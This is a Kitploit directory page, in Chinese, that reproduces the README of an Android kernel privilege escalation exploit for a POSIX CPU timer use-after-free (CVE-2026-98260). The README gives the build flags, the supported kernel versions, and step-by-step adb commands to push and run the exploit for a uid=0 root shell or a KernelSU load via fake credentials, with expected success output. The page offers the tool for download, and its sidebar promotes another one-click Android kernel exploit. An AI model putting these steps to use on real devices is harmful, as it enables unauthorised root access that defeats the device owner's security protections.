Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/yukonga/cve-2026-98260
Android SecurityPrivilege EscalationMemory ForensicsExploitationPost-ExploitationPayload DevelopmentBinary Exploitation
GitHubyukonga/cve-2026-98260

CVE-2026-98260

Android kernel POSIX CPU timer use-after-free exploit for 6.12.69 that achieves uid=0 shell or KernelSU late-load via fake credentials.

查看仓库
682867天前Kitploit 审核通过
分享

CVE-2026-98260 Timer LPE

CVE-2026-98260 POSIX CPU timer UAF 移植,支持情况见「内核支持」

两条链:

  • timer:真实 cred 零写 → uid=0、u:r:shell:s0(shell 域 root,bset caps)
  • timer fake:fake cred(full caps)→ 安装版 KernelSU libksud.so late-load

状态

路径结果
real cred 零写 + setuid(0) + exec shuid=0、u:r:shell:s0、ROOT_SHELL_OK
fake cred + ksud late-load安装版 libksud.so(uapi 6)、KSU_LOADED、su 为 u:r:ksu:s0

环境

  • 启动身份:adb/shell(uid 2000,u:r:shell:s0),可读 tracefs 与 /proc/slabinfo
  • KernelSU manager 已安装(me.weishu.kernelsu)时,fake 会自动使用其 lib/arm64/libksud.so

构建

cd timer
NDK=~/Android/Sdk/ndk/30.0.16248370/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
    -fno-stack-protector -fno-pic -I. \
    -ffunction-sections -fdata-sections timer.c -o timer \
    -Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
    -Wl,-z,norelro -pthread

内核支持

per-build 常量各自一个 timer/kbuilds/<release>.h,由 timer/kbuilds.h 索引;timer.c 只含逻辑,timer 按 uname -r 整串匹配,未命中时打印已知 build 并退出

已支持:

  • 6.1.138-android14-11-g7b9e94e37cfa-mi
  • 6.6.118-android15-8-gf72a02f47f4b-abogki551678766-4k
  • 6.12.69-android16-6-g5fd39602326e-ab16372235-4k
  • 6.12.69-android16-6-g242e1a07f878-ab15865446-4k

新增内核(检测 98260 + 写入并登记 profile;退出码 0 可打、3 已修复、1 出错):

cargo build --release --manifest-path tools/extract/Cargo.toml
tools/extract/target/release/timer-extract boot.img --add

tools/*.c 用于核对 call site、raw record、timer 泄漏与 8 KiB AF_UNIX 回收通道。

使用

adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer

# 诊断
adb shell /data/local/tmp/timer build   # 打印内核 release 与命中的 profile
adb shell /data/local/tmp/timer ids     # 探测 tracefs page event id
adb shell /data/local/tmp/timer leak    # 只做 base/cred/task 泄漏,不触发 UAF

# uid-0 shell(真实 cred)
adb shell /data/local/tmp/timer         # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell   # 交互 sh

# KernelSU(fake cred + 安装版 ksud)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log

fake 成功标志:

[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id   # uid=0 ... context=u:r:ksu:s0

安全

  • 失败 state 会 park 并持有 zombie;不要 kill,重启是唯一安全清理
  • 触发 UAF 后不要对 parked 进程 timeout/kill,否则可能 panic
  • 使用 KernelSU 模拟软重启能正常保留越狱状态,硬重启后 root 正常消失

目录

timer/timer.c      exploit
timer/kbuilds.h    内核 profile 索引(include 列表 + 指针表)
timer/kbuilds/     各内核的 profile(<release>.h)
timer/timer        静态产物
tools/*.c          移植诊断源码
tools/extract/     提取器与检测(Rust,bin timer-extract)

许可证

路径许可证
根目录(timer/、tools/*.c)MIT,见 LICENSE
tools/extract/Apache-2.0,见 tools/extract/LICENSE

第三方来源:

  • timer/timer.c 改编自 woshigenm/CVE-2026-98260 的 src/uid0.c 与 src/poc.c(MIT)
  • tools/extract/ 来自 YuKongA/ghostlock-app/tools/extract_rs(Apache-2.0)
下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    ghostlock-app

    yukonga/ghostlock-app

    针对 CVE-2026-43499 的一键式 Android 内核漏洞利用应用,通过内核模块加载实现权限提升,并提供偏移提取与设备端分析工具。

    960
  • 2

    wifit3

    derv82/wifit3

    Wifite 但仅限 USB 且跨平台。

    754
  • 3

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    631
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer是一个开源的特权访问管理(PAM)平台,为DevOps和IT团队提供通过Web浏览器按需安全访问SSH、RDP、Kubernetes、数据库和RemoteApp端点的能力。

    501
  • 5

    SafeLine

    chaitin/safeline

    自托管WAF和反向代理,可过滤恶意HTTP流量、阻止SQL注入、XSS和机器人攻击,具备速率限制和动态HTML/JS加密功能。

    456
  • 6

    mcp-reverse

    1llu50ry/mcp-reverse

    MCP 服务器,提供 180 多个逆向工程工具,聚合了 Ghidra、IDA、x64dbg、Frida 以及其他 56 个后端,并内置原生二进制解析器和包含 4,200 项技能的知识库。

    343

探索所有工具

浏览我们的工具集合

查看所有工具 →